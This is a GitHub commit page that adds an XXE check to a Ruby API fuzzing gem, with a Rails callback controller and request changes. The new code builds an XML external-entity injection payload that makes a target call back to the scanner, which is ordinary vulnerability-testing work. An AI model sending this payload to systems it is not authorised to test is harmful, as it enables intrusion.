Skip to content

Commit b805923

Browse files
authored
Merge pull request #6 from lalithr95/xxe-check
Implements xxe check
2 parents fa06065 + 54d49c6 commit b805923

File tree

9 files changed

+79
-1
lines changed

9 files changed

+79
-1
lines changed

.travis.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
sudo: false
22
language: ruby
33
rvm:
4-
- 2.0.0
4+
- 2.3.0
55
before_install: gem install bundler -v 1.12.5

API_Fuzzer.gemspec

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,8 @@ Gem::Specification.new do |spec|
2828
spec.require_paths = ["lib"]
2929

3030
spec.add_dependency 'http', '~> 2.0'
31+
spec.add_dependency 'activesupport'
32+
spec.add_dependency 'rails', '>= 4.2'
3133
spec.add_development_dependency "bundler", "~> 1.12"
3234
spec.add_development_dependency "rake", "~> 10.0"
3335
spec.add_development_dependency "minitest", "~> 5.0"

Gemfile

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ source 'https://rubygems.org'
33
# Specify your gem's dependencies in API_Fuzzer.gemspec
44

55
gem 'http'
6+
gem 'builder'
67

78
group :development do
89
gem 'byebug'

app/controllers/ping_controller.rb

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
class PingController < ActionController::Base
2+
def index
3+
@scan = Scan.find(params[:id])
4+
@scan.vulnerabilities.create!(
5+
status: 'HIGH',
6+
class_type: 'Vulnerability',
7+
description: 'Possible XXE vulnerability in #{@scan.url}',
8+
value: body
9+
) if @scan
10+
render json: { status: :ok }
11+
end
12+
13+
private
14+
15+
def body
16+
@scan.parameters.gsub(/\>\s*[a-zA-Z0-9]*\s*\<\//, '>&xxe;<')
17+
end
18+
end

config/routes.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
API_Fuzzer::Engine.routes.draw do
2+
get '/ping/:id' => 'ping#index'
3+
end

lib/API_Fuzzer.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,8 @@
55
require 'API_Fuzzer/sql_blind_check'
66
require 'API_Fuzzer/xss_check'
77
require 'API_Fuzzer/request'
8+
require 'API_Fuzzer/engine'
9+
require 'API_Fuzzer/xxe_check'
810

911
module API_Fuzzer
1012
# Scans all the checks
@@ -16,6 +18,7 @@ def self.scan(options = {})
1618
vulnerabilities << API_Fuzzer::XssCheck.scan(options)
1719
vulnerabilities << API_Fuzzer::SqlCheck.scan(options)
1820
vulnerabilities << API_Fuzzer::SqlBlindCheck.scan(options)
21+
API_Fuzzer::XxeCheck.scan(options)
1922
vulnerabilities.uniq.flatten
2023
end
2124

lib/API_Fuzzer/engine.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
require 'rails'
2+
3+
module API_Fuzzer
4+
class Engine < ::Rails::Engine; end
5+
end

lib/API_Fuzzer/request.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@ def send_api_request(options = {})
1010
@params = options.delete(:params) || {}
1111
@method = options.delete(:method) || :get
1212
@json = options.delete(:json) ? true : false
13+
@body = options.delete(:body) ? true : false
1314
@request = set_cookies(options)
1415
send_request
1516
end
@@ -56,6 +57,8 @@ def self.set_params
5657
{ 'json' => @params }
5758
elsif method_get?
5859
{ 'params' => @params }
60+
elsif @body
61+
{ 'body' => @params }
5962
else
6063
{ 'form' => @params }
6164
end

lib/API_Fuzzer/xxe_check.rb

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
require 'API_Fuzzer/vulnerability'
2+
require 'API_Fuzzer/error'
3+
require 'API_Fuzzer/request'
4+
5+
module API_Fuzzer
6+
class XxeCheck
7+
8+
def self.scan(options = {})
9+
@url = options[:url] || nil
10+
@params = options[:params]
11+
@scan_hash = options[:scan]
12+
fuzz_xml_params
13+
end
14+
15+
private
16+
17+
def self.fuzz_xml_params
18+
return unless @params
19+
body = params_serialize.gsub(/\>\s*[a-zA-Z0-9]*\s*\<\//, '>&xxe;<')
20+
payload = <<-XXEPAYLOAD
21+
<?xml version="1.0" encoding="ISO-8859-1"?>
22+
<!DOCTYPE foo [
23+
<!ELEMENT foo ANY >
24+
<!ENTITY xxe SYSTEM "http://127.0.0.1:3000/ping/#{@scan_hash}" >]>
25+
XXEPAYLOAD
26+
payload << body
27+
API_Fuzzer::Request.send_api_request(
28+
url: @url,
29+
params: payload,
30+
body: true,
31+
method: :post
32+
)
33+
end
34+
35+
def self.params_serialize
36+
body = []
37+
@params.keys.each do |key, value|
38+
body << "#{key}=#{value}"
39+
end
40+
body.join('&')
41+
end
42+
end
43+
end

0 commit comments

Comments
 (0)